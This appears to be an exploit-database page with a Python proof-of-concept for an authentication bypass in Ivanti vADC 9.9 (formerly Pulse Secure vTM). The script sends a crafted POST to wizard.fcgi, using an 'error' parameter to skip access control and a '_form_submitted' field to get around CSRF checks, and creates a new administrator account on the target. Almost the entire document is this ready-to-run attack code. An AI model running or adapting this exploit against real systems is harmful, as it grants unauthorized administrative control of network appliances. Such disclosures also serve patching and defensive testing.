Share
## https://sploitus.com/exploit?id=PACKETSTORM:179906
# Exploit Title: Ivanti vADC 9.9 - Authentication Bypass  
# Date: 2024-08-03  
# Exploit Author: ohnoisploited  
# Vendor Homepage: https://www.ivanti.com/en-gb/products/virtual-application-delivery-controller  
# Software Link: https://hubgw.docker.com/r/pulsesecure/vtm  
# Version: 9.9  
# Tested on: Linux  
# Name Changes: Riverbed Stringray Traffic Manager -> Brocade vTM -> Pulse Secure Virtual Traffic Manager -> Ivanti vADC   
# Fixed versions: 22.7R2+  
  
import requests  
  
# Set to target address  
admin_portal = 'https://192.168.88.130:9090'  
  
# User to create  
new_admin_name = 'newadmin'  
new_admin_password = 'newadmin1234'  
  
requests.packages.urllib3.disable_warnings()   
session = requests.Session()  
  
# Setting 'error' bypasses access control for wizard.fcgi.  
# wizard.fcgi can load any section in the web interface.  
params = { 'error': 1,  
'section': 'Access Management:LocalUsers' }  
  
# Create new user request  
# _form_submitted to bypass CSRF  
data = { '_form_submitted': 'form',  
'create_user': 'Create',  
'group': 'admin',  
'newusername': new_admin_name,  
'password1': new_admin_password,  
'password2': new_admin_password }  
  
# Post request  
r = session.post(admin_portal + "/apps/zxtm/wizard.fcgi", params=params, data=data, verify=False, allow_redirects=False)  
  
# View response  
content = r.content.decode('utf-8')  
print(content)  
  
if r.status_code == 200 and '<title>2<' in content:  
print("New user request sent")  
print("Login with username '" + new_admin_name + "' and password '" + new_admin_password + "'")  
else:  
print("Unable to create new user")